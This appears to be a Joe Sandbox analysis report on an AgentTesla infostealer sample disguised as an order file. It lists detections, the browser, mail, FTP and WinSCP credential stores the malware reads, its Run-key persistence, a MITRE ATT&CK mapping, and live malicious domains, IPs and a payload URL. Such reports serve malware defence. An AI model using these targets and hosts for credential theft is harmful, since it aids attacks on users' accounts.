Source: Yara match	File source: 1.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.GEFA-Order 232343-68983689.exe.4495600.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1996337104.00000000042C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2913625192.000000000330E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1727745948.0000000004480000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1965310119.00000000031FE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1881514343.00000000028CC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1879017395.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1966127439.00000000028D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2913625192.00000000032CC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1884023773.0000000002F4E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1727745948.0000000004531000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1716960379.00000000034E2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1903361036.0000000003921000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1884023773.0000000002F01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1966127439.0000000002881000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: GEFA-Order 232343-68983689.exe PID: 7444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7548, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Cbgoomiexw.exe PID: 7744, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7888, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Cbgoomiexw.exe PID: 8052, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 8124, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File opened: C:\FTP Navigator\Ftplist.txt

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Source: Yara match	File source: 0.2.GEFA-Order 232343-68983689.exe.4495600.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.GEFA-Order 232343-68983689.exe.4495600.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1996337104.00000000042C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1727745948.0000000004480000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1965310119.00000000031FE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1881514343.00000000028CC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1879017395.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2913625192.00000000032CC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1727745948.0000000004531000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1716960379.00000000034E2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1903361036.0000000003921000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1884023773.0000000002F01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1966127439.0000000002881000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: GEFA-Order 232343-68983689.exe PID: 7444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7548, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Cbgoomiexw.exe PID: 7744, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7888, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Cbgoomiexw.exe PID: 8052, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 8124, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.GEFA-Order 232343-68983689.exe.4495600.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.GEFA-Order 232343-68983689.exe.4495600.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1996337104.00000000042C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2913625192.000000000330E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1727745948.0000000004480000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1965310119.00000000031FE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1881514343.00000000028CC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1879017395.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1966127439.00000000028D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2913625192.00000000032CC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1884023773.0000000002F4E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1727745948.0000000004531000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1716960379.00000000034E2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1903361036.0000000003921000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1884023773.0000000002F01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1966127439.0000000002881000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: GEFA-Order 232343-68983689.exe PID: 7444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7548, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Cbgoomiexw.exe PID: 7744, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7888, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Cbgoomiexw.exe PID: 8052, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 8124, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	1 Exfiltration Over Alternative Protocol	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	211 Process Injection	1 Deobfuscate/Decode Files or Information	1 Input Capture	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	2 Obfuscated Files or Information	1 Credentials in Registry	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	2 Software Packing	NTDS	311 Security Software Discovery	Distributed Component Object Model	1 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	12 Virtualization/Sandbox Evasion	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Virtualization/Sandbox Evasion	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	211 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
GEFA-Order 232343-68983689.exe	16%	ReversingLabs
GEFA-Order 232343-68983689.exe	26%	Virustotal		Browse
GEFA-Order 232343-68983689.exe	100%	Avira	HEUR/AGEN.1308518
GEFA-Order 232343-68983689.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	100%	Avira	HEUR/AGEN.1308518
C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	16%	ReversingLabs
C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	26%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
ftp.alternatifplastik.com	3%	Virustotal		Browse
rubberpartsmanufacturers.com	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://stackoverflow.com/q/14436606/23354	0%	URL Reputation	safe
https://stackoverflow.com/q/14436606/23354	0%	URL Reputation	safe
https://account.dyn.com/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://stackoverflow.com/q/11564914/23354;	0%	URL Reputation	safe
https://stackoverflow.com/q/2152978/23354	0%	URL Reputation	safe
https://rubberpartsmanufacturers.com/omani/Mrlres.mp3	0%	Virustotal		Browse
https://github.com/mgravell/protobuf-neti	0%	Virustotal		Browse
http://ftp.alternatifplastik.com	3%	Virustotal		Browse
https://github.com/mgravell/protobuf-netJ	0%	Virustotal		Browse
https://rubberpartsmanufacturers.com	0%	Virustotal		Browse
https://github.com/mgravell/protobuf-net	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ftp.alternatifplastik.com	5.2.84.236	true	true	3%, Virustotal, Browse	unknown
rubberpartsmanufacturers.com	103.191.208.122	true	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://rubberpartsmanufacturers.com/omani/Mrlres.mp3	false	0%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/mgravell/protobuf-net	GEFA-Order 232343-68983689.exe, 00000000.00000002.1727745948.0000000004531000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1735785966.0000000006E80000.00000004.08000000.00040000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://github.com/mgravell/protobuf-neti	GEFA-Order 232343-68983689.exe, 00000000.00000002.1727745948.0000000004531000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1735785966.0000000006E80000.00000004.08000000.00040000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://stackoverflow.com/q/14436606/23354	GEFA-Order 232343-68983689.exe, 00000000.00000002.1727745948.0000000004531000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1735785966.0000000006E80000.00000004.08000000.00040000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1716960379.00000000032AA000.00000004.00000800.00020000.00000000.sdmp, Cbgoomiexw.exe, 00000003.00000002.1881514343.000000000269A000.00000004.00000800.00020000.00000000.sdmp, Cbgoomiexw.exe, 00000007.00000002.1965310119.00000000030D3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://account.dyn.com/	GEFA-Order 232343-68983689.exe, 00000000.00000002.1727745948.0000000004480000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1727745948.0000000004531000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1716960379.00000000034E2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1879017395.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Cbgoomiexw.exe, 00000003.00000002.1881514343.00000000028CC000.00000004.00000800.00020000.00000000.sdmp, Cbgoomiexw.exe, 00000003.00000002.1903361036.0000000003921000.00000004.00000800.00020000.00000000.sdmp, Cbgoomiexw.exe, 00000007.00000002.1996337104.00000000042C0000.00000004.00000800.00020000.00000000.sdmp, Cbgoomiexw.exe, 00000007.00000002.1965310119.00000000031FE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/mgravell/protobuf-netJ	GEFA-Order 232343-68983689.exe, 00000000.00000002.1727745948.0000000004531000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1735785966.0000000006E80000.00000004.08000000.00040000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	GEFA-Order 232343-68983689.exe, 00000000.00000002.1716960379.0000000003261000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1884023773.0000000002F4E000.00000004.00000800.00020000.00000000.sdmp, Cbgoomiexw.exe, 00000003.00000002.1881514343.0000000002651000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.1966127439.00000000028D0000.00000004.00000800.00020000.00000000.sdmp, Cbgoomiexw.exe, 00000007.00000002.1965310119.0000000002FFC000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.2913625192.000000000330E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://rubberpartsmanufacturers.com	GEFA-Order 232343-68983689.exe, 00000000.00000002.1716960379.0000000003261000.00000004.00000800.00020000.00000000.sdmp, Cbgoomiexw.exe, 00000003.00000002.1881514343.0000000002651000.00000004.00000800.00020000.00000000.sdmp, Cbgoomiexw.exe, 00000007.00000002.1965310119.0000000002FFC000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://stackoverflow.com/q/11564914/23354;	GEFA-Order 232343-68983689.exe, 00000000.00000002.1727745948.0000000004531000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1735785966.0000000006E80000.00000004.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://stackoverflow.com/q/2152978/23354	GEFA-Order 232343-68983689.exe, 00000000.00000002.1727745948.0000000004531000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1735785966.0000000006E80000.00000004.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ftp.alternatifplastik.com	InstallUtil.exe, 00000001.00000002.1884023773.0000000002F5C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1884023773.0000000002F4E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.1966127439.00000000028D0000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.1966127439.00000000028DE000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.2913625192.000000000330E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.2913625192.000000000331C000.00000004.00000800.00020000.00000000.sdmp	false	3%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
5.2.84.236	ftp.alternatifplastik.com	Turkey		3188	ALASTYRTR	true
103.191.208.122	rubberpartsmanufacturers.com	unknown		7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1529729
Start date and time:	2024-10-09 10:50:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	GEFA-Order 232343-68983689.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@9/2@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 528 Number of non-executed functions: 23
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
09:51:06	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Cbgoomiexw C:\Users\user\AppData\Roaming\Cbgoomiexw.exe
09:51:14	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Cbgoomiexw C:\Users\user\AppData\Roaming\Cbgoomiexw.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
5.2.84.236	Kuwait Offer48783929281-BZ2.exe	Get hash	malicious	AgentTesla	Browse
	PO_7862679238279-GITTERSTAR-UUE-EUROPE-UUE.exe	Get hash	malicious	AgentTesla	Browse
	PO_7862679238279-GITTERSTAR-UUE-EUROPE-UUE.exe	Get hash	malicious	AgentTesla	Browse
	inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Get hash	malicious	AgentTesla	Browse
	PO_9876563647-FLOWTRONIX (FT)UUE.exe	Get hash	malicious	AgentTesla	Browse
	Richardson Electronics, LTD. PRD10221301UUE.exe	Get hash	malicious	AgentTesla	Browse
	PURCHASE ORDER ADDISON-6378397379UUE.exe	Get hash	malicious	AgentTesla	Browse
	Teklif-6205018797-6100052155-UUE.exe	Get hash	malicious	AgentTesla	Browse
	Offer-CNVN-82927-VIETNAM.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	OFFER-876355- Hydraulic Partner, LLC.PDF..........................exe	Get hash	malicious	AgentTesla	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ftp.alternatifplastik.com	Kuwait Offer48783929281-BZ2.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	PO_7862679238279-GITTERSTAR-UUE-EUROPE-UUE.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	PO_7862679238279-GITTERSTAR-UUE-EUROPE-UUE.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	PO_9876563647-FLOWTRONIX (FT)UUE.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	Richardson Electronics, LTD. PRD10221301UUE.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	PURCHASE ORDER ADDISON-6378397379UUE.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	Teklif-6205018797-6100052155-UUE.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	Offer-CNVN-82927-VIETNAM.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	5.2.84.236
	OFFER-876355- Hydraulic Partner, LLC.PDF..........................exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ALASTYRTR	Kuwait Offer48783929281-BZ2.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	PO_7862679238279-GITTERSTAR-UUE-EUROPE-UUE.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	PO_7862679238279-GITTERSTAR-UUE-EUROPE-UUE.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	PO_9876563647-FLOWTRONIX (FT)UUE.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	Richardson Electronics, LTD. PRD10221301UUE.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	PURCHASE ORDER ADDISON-6378397379UUE.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	Teklif-6205018797-6100052155-UUE.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	BROU_Copia de Pago_PDF.exe	Get hash	malicious	Unknown	Browse	5.2.84.221
	BROU_Copia de Pago_PDF.exe	Get hash	malicious	Unknown	Browse	5.2.84.221
AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	na.elf	Get hash	malicious	Mirai	Browse	103.33.73.172
	Remittance_Regulvar.htm	Get hash	malicious	Unknown	Browse	103.67.200.72
	2LgQzImW3E.elf	Get hash	malicious	Mirai	Browse	103.183.119.56
	Quote.exe	Get hash	malicious	Remcos	Browse	103.186.117.77
	f8fKadLyb4.elf	Get hash	malicious	Mirai	Browse	150.203.163.29
	zYJYK66EGb.exe	Get hash	malicious	Remcos	Browse	103.186.116.195
	na.elf	Get hash	malicious	Unknown	Browse	134.150.211.105
	na.elf	Get hash	malicious	Unknown	Browse	132.234.242.215
	DocuSign-Docx.pdf	Get hash	malicious	Unknown	Browse	103.67.200.72
	na.elf	Get hash	malicious	Gafgyt	Browse	103.14.48.192

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Agency Appointment.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	103.191.208.122
	rShipmentNotification_.exe	Get hash	malicious	AgentTesla	Browse	103.191.208.122
	AkIhFFUNs2.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	103.191.208.122
	Jia Run-Full_Appointment_Letter_JRP-252432-1.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	103.191.208.122
	asegurar.vbs	Get hash	malicious	Unknown	Browse	103.191.208.122
	payment confirmation.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	103.191.208.122
	Payment attachment.exe	Get hash	malicious	MassLogger RAT	Browse	103.191.208.122
	0001047757804_092024.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	103.191.208.122
	ynwj.ps1	Get hash	malicious	Unknown	Browse	103.191.208.122
	fBcMVl6ns6.lnk	Get hash	malicious	RHADAMANTHYS	Browse	103.191.208.122

Process:	C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	9728
Entropy (8bit):	4.987364829761206
Encrypted:	false
SSDEEP:	192:XNwfhPQWzJTuFZVFJ5pztwaqRI3INwEvRknn/cE7TSAl:9QpxTufjJ5pzt3Kw0Rkn0dA
MD5:	0C3D0B4CD6833A23EBC0687D97C64D73
SHA1:	41BAE7DF2F2544B207777C920429383A88745035
SHA-256:	F0FA4E57BE6D0AD0DEBBBB9189344A61896D0D38C6C9F2345D2421070E20389C
